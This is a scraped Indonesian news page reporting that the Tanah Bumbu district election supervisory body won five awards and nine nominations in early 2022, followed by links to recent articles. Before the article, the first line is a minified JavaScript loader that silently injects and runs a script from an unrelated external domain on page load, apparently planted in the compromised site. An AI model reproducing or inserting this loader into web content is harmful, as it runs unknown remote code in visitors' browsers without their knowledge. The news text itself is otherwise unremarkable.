(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bawaslu Kabupaten Tanah Bumbu Berhasil Raup Prestasi 5 Penghargaan Sekaligus


KANALKALIMANTAN.COM, BATULICIN – Bawaslu Tanbu berhasil meraup lima penghargaan sekaligus dalam prestasi penanganan Pelanggaran Award. Bawaslu Tanbu masuk pemanggilan sembilan nominasi kategori terbaik, Sabtu (29/1/2022).

Selain berhasil mendapatkan 2 penghargaan pada bulan lalu di acara Anugerah Media Humas Baswaslu Kab/Kota se-Kalsel 2021, kini Bawaslu Tanah Bumbu kembali menyeret penghargaan di acara Penanganan Pelanggaran Award di Kota Banjarmasin, Kamis (27/1/2022).

Ada 3 perhargaan dan masuk dalam 9 nominasi didapat dalam Penanganan Pelanggaran Award penghargaan tersebut yaitu pertama Pengelolaan Administrasi dan Dokumentasi, kedua Penanganan Pelanggaran Terbaik dan ketiga Staf Penanganan Terbaik IV.

Dalam sambutannya, Erna Kasypiah selaku Ketua Bawaslu Kalsel menyampaikan, Penanganan Pelanggaran Award ini adalah bentuk apresiasi terhadap Bawaslu Kabupaten/Kota yang telah melaksanakan Penegakan Hukum Pemilihan Umum Tahun 2019 dan Pemilihan Kepala Daerah Tahun 2020.

 

Baca juga : Siaran TV Analog Berganti ke TV Digital, Ini Kata Kepala Stasiun TVRI Kalsel ke Diskominfo HSU

“Kami berharap Penanganan Pelanggaran Award ini, dapat memotivasi dan semangat Bawaslu Kabupaten/Kota dalam menjalankan tugas ke depannya,” ucapnya.
Selain itu, Azhar Ridhanie selaku Anggota Bawaslu Provinsi Kalimantan Selatan (Koordinator Divisi Penanganan Pelanggaran) menerangkan, Penilaian Award ini berdasarkan nominasi-nominasi yang ada.

“Penilaian ini, juga dilakukan se-objektif mungkin oleh Kabag Penanganan Pelanggaran Penyelesaian Sengketa dan Hukum beserta tim divisi yang mana didasari, bukan hanya dari keaktifan Bawaslu Kab/Kota saja, namun juga bagaimana kab/kota dalam mengelola pengadministrasian berkas-berkas penanganan pelanggaran,” terangnya.

Berikut 9 nominasi yang diraih dalam Penanganan Pelanggaran Award, yaitu :
1.Penerimaan Laporan Terbaik
2.Temuan terbaik
3.Penanganan tindak pidana terbaik
4.penanganan pelanggaran administrasi terbaik
5.Kajian A.1.1 Terbaik
6.Pengelolaan Administrasi dan Dokumentasi Penanganan Pelanggaran terbaik
7. Sentra Gakkumdu terbaik
8.Sentra Gakkumdu Terdinamis
9. Staf Penanganan Pelanggaran Terbaik IV

Total sekarang ada 5 penghargaan yang sudah didapatkan Bawaslu Kab. Tanah Bumbu antara lain :
1. Video Terbaik Katagori Khusus 11.11
2. Konten Media Terinovatif III
3. Pengelolaan Administrasi dan Dokumentasi Terbaik
4. Penanganan Pelanggaran Terbaik
5. Staf Penanganan Terbaik IV

 

Baca juga : Dipecat dari Anggota Polri, BT Minta Maaf Akui Telah Mencoreng Institusi

Ketua Bawaslu Kabupaten Tanah Bumbu H. Kamiluddin Malewa menyampaikan, lembaga yang hebat dikelola oleh personel yang hebat.

“Terima kasih saya ucapkan, atas kerja sama semua pihak baik internal maupun eksternal Bawaslu Tanah Bumbu, juga kepada awak media yang membantu publikasi secara meluas,” pungkasnya.

Ratna Kustiah selaku Koordinator Divisi HPP Bawaslu Tanah Bumbu turut menyampaikan rasa syukur atas nama seluruh Anggota dan Sekretariat Bawaslu Tanbu, dirinya juga menyampaikan ungkapan terima kasih kepada Pimpinan Bawaslu Kalsel.

“Terima Kasih untuk 5 penghargaan dan 9 Nominasi yang telah diraih Bawaslu Tanah Bumbu, teman-teman, anda semua hebat dengan bidangnya masing-masing. Semoga, akan terus meningkat kemampuan Sumber Daya Manusia (SDM) kita. Sehingga ke depan Pemilu yang Jurdil (jujur dan adil) dapat diwujudkan” harapnya.

 

Baca juga : Roby: Keinginan DOB Takam Lima Murni Keinginan Masyarakat

M. Sakra Efendi selaku Koordinator Divisi PHL Bawaslu Kab. Tanah Bumbu mengungkapkan, dimana semua penghargaan yang diraih oleh Bawaslu Kab. Tanah Bumbu merupakan hasil dari kerja tim yang solid baik di internal Bawaslu sendiri ataupun kerja sama pihak eksternal terutama pihak Polres Tanah Bumbu dan Kejaksaan Negeri Tanah Bumbu yang turut tergabung dalam Sentragakumdu.

“Semoga ke depan kita dapat mempertahankannya dan tentunya dapat menjalankan tugas sesuai dengan ketentuan peraturan perundang-undangan yang berlaku,” tutup Sakra Efendi. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

9 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

11 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

13 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

21 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

22 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

23 jam ago

This website uses cookies.